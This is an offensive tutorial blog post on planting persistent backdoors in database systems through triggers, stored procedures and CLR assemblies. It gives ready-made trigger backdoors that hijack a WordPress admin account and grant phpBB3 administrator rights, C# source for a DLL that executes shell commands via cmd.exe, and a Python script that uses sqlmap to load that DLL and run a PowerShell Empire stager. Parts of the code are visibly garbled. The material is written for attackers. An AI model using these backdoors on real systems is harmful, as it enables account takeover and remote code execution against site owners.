This is a tutorial explaining how existing functionality in pretty much all major Relational DBMS solutions can be abused to act as a persistent backdoor for maintaining access, or even to carry out (relatively) sophisticated malware campaigns. Within this guide I’ll explain some of the potential actions that can be carried out through malicious code within a DBMS, and additionally I’ll be demonstrating a few past historical examples of this within a few different popular web-based CMS platforms (some of which could still work as-is, and some of which will still work after a few minor tweaks). These techniques have already been well-documented within hacker circles for years, but despite that, I see lots of newer hackers today being totally unaware of the fact that it’s possible to do stuff like this via SQL.

Introduction and Overview:

The most common method of using a relational DBMS as a form of backdoor is through the usage of malicious sub-procedures (also known as subroutines), user-defined functions, malicious plugins, CLR Assembly attacks with malicious DLL’s, or event procedures within the DBMS. Most DBMS backdoors are commonly done via an UPDATE hook or an INSERT hook.

Depending on the DBMS language in use, it may be possible to create a malicious sub-procedure which doesn’t actually utilize SQL, but rather another language. For example within PostgreSQL, it is possible to use languages other than SQL to write stored procedures, triggers, and functions. This can make detection of the backdoor harder than it would be to detect via something like an INSERT hook stored within a malicious sub-procedure.

Before I get into specific methods which can be used to create an SQL backdoor, I will first cover some of the benefits, from the perspective of an attacker:

  • Like with a typical backdoor, it can be used as an additional means of maintaining access to a compromised server. This can often be a lot more effective and harder to detect than a traditional webshell hosted on the server.
  • Resetting password hashes
  • Serving malicious content via redirects, browser exploits, and so on.
  • Enabling PHP (or other server-side langs) in template files
  • Reading/Editing other files

With DBMS backdoors the possibilities are almost endless. I’ll just be covering a few basic (ish) backdoor scenarios within this post, although my general SQL injection tutorial series (coming soon) will cover some more methods not listed here (additionally, I’ll be following up on this with a part two which will include several backdoors I’ve written for modern web applications).

In order to actually install your DBMS backdoor, you must have the ability to perform one of the following actions:

  • Ability to write files onto your target
  • Ability to access the command line interface for the DBMS
  • Ability to perform multiple queries within an SQL statement

Using SQL backdoors, an attacker is able to make it so that their malicious code executes when certain conditions are met. This could be upon the detection of any SQL queries being ran, or it could be set to execute upon the detection of a specific query or even a specific keyword or search term.

I will explain the steps that you will take to host your backdoor within the DBMS, but first, I will cover a few different methods of SQL backdooring.

It should be noted that the methods I’m about to describe won’t always work, and whether or not they do depends upon the privileges of the DBMS itself. For example, these attacks can be very easily mitigated by simply ensuring that the SUPER privilege is not enabled for all users.

Something worth pointing out is that depending on the database engine in use, you may actually be able to utilize an SQL Injection vulnerability to create the DBMS backdoor itself (as opposed to spawning a shell after abusing the SQLi and then using that shell access to backdoor the DBMS).

In the next sections of this tutorial, I am going to be explaining the different features of a relational DBMS that can be utilized to create a backdoor. I won’t be explaining these in depth, but rather just giving a general overview. If you want to understand the specifics, then I suggest learning (in detail) the specific type of DBMS that is used, and the features/functionality of that DBMS. In the second installation of this tutorial however, I shall be offering specific code examples demonstrating specific techniques.

Malicious Sub-Procedures:

As mentioned earlier, one of the most common methods of creating a backdoor within a relational DBMS is through usage of malicious user-defined sub-procedures, also known as subroutines or stored procedures. Within programming, a sub-procedure or sub-routine is similar to a “method” or a “function” within other programming languages. Inputs or arguments can be passed into a sub-routine, and it will then output stuff based on analysis or manipulation of the inputs.

Within MySQL, usage of subroutines can be combined with environment variables and prepared statements in order to abuse dynamic SQL queries.

Within PostgreSQL, subroutines or stored procedures can be in the form of third-party scripting languages, rather than being written in SQL. This is harder to detect than a backdoor within the DBMS itself, and also in some cases it can have more abuse potential. The following languages can be used for this:

  • TCL
  • Python
  • Ruby
  • Perl

Additionally, it should also be noted that PostgreSQL supports user-defined routines written in C.

In order to understand the abuse potential of malicious subroutines, it is a good idea to become familiar with writing code for DMBS’ in general. It’s not something I plan to cover in-depth here, although you can expect that within Part Two.

Malicious Event Procedures:

In addition to malicious subroutines / sub-procedures, another method of utilizing DBMS for backdooring it making use of event procedures, more commonly known as “triggers”. An event procedure, or “trigger”, within SQL, is also a stored procedure or subroutine, but it is a specific type. Triggers are known as “event procedures” because they are user-defined procedures which will “listen” for a specific event taking place within the DBMS, and will then execute their code based upon that event taking place. If you’re familiar with event-driven or object-oriented paradigms in terms of programming (or even the concept of event handlers within HTML/JavaScript) then you shou8ld understand this concept without any issues. There are a few different types of triggers within SQL. For the sake of this post, I am going to be covering triggers that are used within MSSQL Server:

  • Data Manipulation Language Triggers – These are triggers which react to data manipulation language (DML) commands. Some examples of these commands would be INSERT, UPDATE, and DELETE.
  • Data Definition Language Triggers – These are triggers which react to data definition language (DDL) commands, such as CREATE, ALTER, and DROP
  • Logon Triggers – These are triggers which react to logon events (e.g. a user logging in via a form)

For the purpose of backdooring, DDL triggers are the most useful. There are a few different things to know about creating backdoors via triggers. Firstly, you need to ensure that the SQL statement you’re planning to use for hooking isn’t already actively used within a trigger. Secondly, it should be noted that SELECT queries cannot be bound to triggers, so hooking in that manner is not feasible. Instead, what can be done, is taking advantage of teh fact that many user activities are stored via the DBMS. So, instead of using SELECT … LIKE to search against the database for specific keywords, an attacker could use an INSERT hook against the search history table where the user activity is being logged. Personally, the queries I most commonly use for hooking are INSERT, UPDATE, or DELETE.

User-Defined Functions:

User-defined functions within SQL, as the name would suggest, are pre-written custom functions made up of SQL statements, defined by the user. You can use the CREATE statement to create a new user-defined function, or you can use the ALTER statement to alter a currently-existing user-defined function.

User-defined functions perform the following actions:

  • Taking params as inputs
  • performing some kind of computations on these inputs
  • outputting the results of these computations

You can create a user-defined function like so (note that these examples are for MSSQL):

CREATE FUNCTION [database_name.]function_name (parameters)
RETURNS data_type AS
    SQL statements
    RETURN value

Or, you can alter an already existing function like so:

ALTER FUNCTION [database_name.]function_name (parameters)
RETURNS data_type AS
    SQL statements
    RETURN value

Procedures are created in the same manner, except the word “procedure” is used in place of “function”, for example CREATE PROCEDURE or ALTER PROCEDURE.

CLR Assemblies & Malicious DLL’s:

Although this method is limited to MSSQL Server with Stacked Queries enabled (if they’re not using stacked queries, this won’t work), I’m still going to provide an overview of it here as it is a very unique and interesting method.

A CLR (Common Language Runtime) Assembly is a group of DLL’s that can be imported into SQL Server. Once the DLL’s have been imported they can be linked to stored procedures which can then be executed via TSQL. With this in mind, an attacker is able to create a custom DLL and then have it imported into SQL server. This is done via the CREATE ASSEMBLY statement (or an existing CLR Assembly can be modified using the ALTER ASSEMBLY statement (note that sysadmin privs are required for this). A CLR Assembly can be created and imported, then linked to a sub-procedure, like so:

-- Select the msdb database
use msdb
-- Enable show advanced options on the server
sp_configure 'show advanced options',1
-- Enable clr on the server
sp_configure 'clr enabled',1
-- Import the assembly
FROM 'c:evil_code.dll'
-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [evil].[StoredProcedures].[cmd_exec];

If all goes to plan, then, as a result of the code above paired with your malicious DLL, you should be able to execute code via the cmd_exec stored procedure.

If you want to clean up after yourself and remove the backdoor, you can simply use the DROP statement in order to do so:


In order to learn how to create the malicious DLL file for this, skip to the “code examples” section below.

For a more in-depth explanation as to how this method works, see the “code examples” section, and/or read here or here for a comprehensive tutorial.

MySQL Plugins:

If you have INSERT permissions for INFORMATION_SCHEMA.PLUGINS within MySQL, then it is possible to create a daemon plugin written in C which allows for far more capabilities than a typical DBMS backdoor using stored procedures. For example, daemon plugins have the ability to use sockets, allowing you to create a relatively successful data exfiltration channel. Additionally, daemon plugins allow for filesystem access.

I won’t be covering actual working code for a backdoored MySQL daemon plugin here, although you can expect to find it among the code examples within the second part of this tutorial series.

Now that I’ve given a basic overview of a few different techniques that can be used for creating DBMS backdoors, I will move onto code examples demonstrating a few different practical usage scenarios of the methods described above.

Getting your backdoor written to DBMS:

There are a few different methods of writing your backdoor to the DBMS. Generally, either access to the command-line for the SQL daemon, or the ability to write files to the webserver. If you’re trying to get your backdoor working via writing files, you would write the code contents to an SQL file, then you would use either abuse an existing SQL injection flaw or use the DBMS command-line to set the following:

 source /path/to/file.sql

If you’re doing it via the command-line alone, then you need to invoke the mysql daemon from the command-line like so:

mysql -uuser -ppassword [database_name]

After invoking the daemon from command line, it is simply just a case of copying and pasting the neccessary code into the database file.

Code Examples:

Below you will find a few different code examples of SQL backdoors, offering practical demonstrations of some of the methods discussed here. Part Two of this series will contain many more code examples, I first just wanted to introduce the general concept before doing a deep-dive into the subject.

The code examples I’m mostly going to be covering here are malicious subroutines making use of INSERT and UPDATE hooks, and also a method for utilizing CLR with a malicious DLL.

First, here’s a basic example of how you would create a malicious event procedure or “trigger”:

delimiter #
 create trigger trigger_name before [ update | insert | delete ] on table_name
 for each row begin
  [procedural sql code goes here]
 end; #
delimiter ;

The code above creates a trigger for UPDATE, INSERT, or DELETE, which, upon detection of those SQL statements, will execute the SQL code specified by the user. Next you’ll find a few real-world examples of this from my friends over at BlackhatAcademy. First, here is a WordPress SQL backdoor utilizing an INSERT hook in the wp_comments table so that when a specific comment is inserted (or “commented”) by a user, it will execute the precedural SQL used for the backdoor:

delimiter #
CREATE TRIGGER user_comment BEFORE INSERT ON wp_comments
    IF NEW.comment_content = 'way around the back' THEN
       SELECT user_email FROM wp_users WHERE id=NEW.user_id INTO @email;
       UPDATE wp_users SET user_email=@email WHERE ID=1;
    END IF;
delimiter ;

The backdoor above uses the following steps:

  • Attacker navigates to the backdoored wordpress site
  • Attacker leaves “way around the back” as a comment on the blog post
  • The action of commenting triggers the INSERT hook
  • “way around the back” string is checked
  • if te string matches, the malicious code within the hook is executed
  • the malicious code replaces the admin email address with the email address of the user posting the comment
  • Attacker can then get a password reset via “forgot password” URL, which will give them the ability to login using a new password that they set for the admin account (which is now linked to their email)

Next, we have a PHPBB3 backdoor making use of an UPDATE hook:

delimiter #
CREATE TRIGGER update_users BEFORE UPDATE ON phpbb3_users
    IF OLD.user_aim="passive" AND NEW.user_aim="aggressive" THEN
        SET NEW.group_id = 5;
        SET NEW.user_type = 3;
    END IF;
delimiter ;

The method above works like so:

  • Attacker navigates to PHPBB3 forum
  • Attacker navigates to their “contact” page
  • Attacker initiates step 1 of triggering the backdoor, by setting their AIM username to “passive”
  • Attacker updates their AIM username to “aggressive”, which in turn triggers the UPDATE hook
  • The procedural SQL executes. changing the attacker’s user_type and group_id values to match that of an administrstor.
  • Attacker now has admin account on the forums.

Common Language Runtimes, or CLR’s, are the next method I’m going to cover (albeit only briefly in part two) in the code examples section. The following C# code can be used to create the malicious DLL:

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures
    public static void cmd_exec (SqlString execCommand)
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;

        // Create the record and specify the metadata for the columns.
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
        // Mark the beginning of the result set.

        // Set values for each column in the row
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());

        // Send the row back to the client.
        // Mark the end of the result set.

In the instance of the C# code above, this will create a DLL linked to cmd.exe allowing you to pass commands to windows command prompt. This code can be modified to call a different process from CMD if necessary.

here is a method for utilizing a Common Language Runtime assembly paired with a malicious DLL in order to get your backdoor. Big thanks to Wabafet for this.

# -*- coding: utf-8 -*-
#used to gain os shell via clr assembly injection through sqlmap and my wrapper
#and powershell empire
import os
import sys
hex_import  = 0x45cccc
# -> built off this
def gen_assembly(cmd,database):
    #cmd is going to contain powershell empire stager
    t_sql ="""
SELECT is_srvrolemember(‘sysadmin’);
sp_configure @configname=clr_enabled, @configvalue=1;
CREATE ASSEMBLY [execcmdasm] AUTHORIZATION [dbo] FROM {}""".format(hex_import)+""" WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (MAX) AS EXTERNAL NAME [execcmdasm].[StoredProcedures].[cmd_exec];
EXEC [dbo].[cmd_exec] ‘{"""+cmd+"""}’;
    outputfile = open("tsql_hell.sql","w")
    #write tsql to file and call sqlmap on target to gain rce

def main():
    cmd = sys.argv[1]
    database = sys.argv[2]
    url = sys.argv[3]
    sqlmapout = " -u \""+url+\""+"--technique=sq --sql-file=tsql_hell.sql"
        #now after file is generated call sqlmap with  file as paramater only works on stacked sql using mssql


In order to exploit this, simply run the script and then call SQLMAP using the file as the parameter. Remember that this only works on MSSQL with Stacked Queries. I’ll be covering CLR Assemblies a lot more in-depth in part two of this series, along with a MySQL plugin backdoor, and more methods using subroutines or event procedures for creating a backdoor.

Final Notes:

That’s all for now, although I’ll definitely be following up with a part two to this. I’m planning on writing several malicious subprocedures to cover a variety of modern CMS and Forum Softwares.

Within part 2 of this tutorial, in addition to finding some working DBMS backdoors for modern softwares, you will also see me covering a few different methods not included in this tutorial.

In addition to doing a part two to this tutorial, I’ll also soon be releasing part one of a three-part tutorial on exploiting SQL Injections.

./mlt –out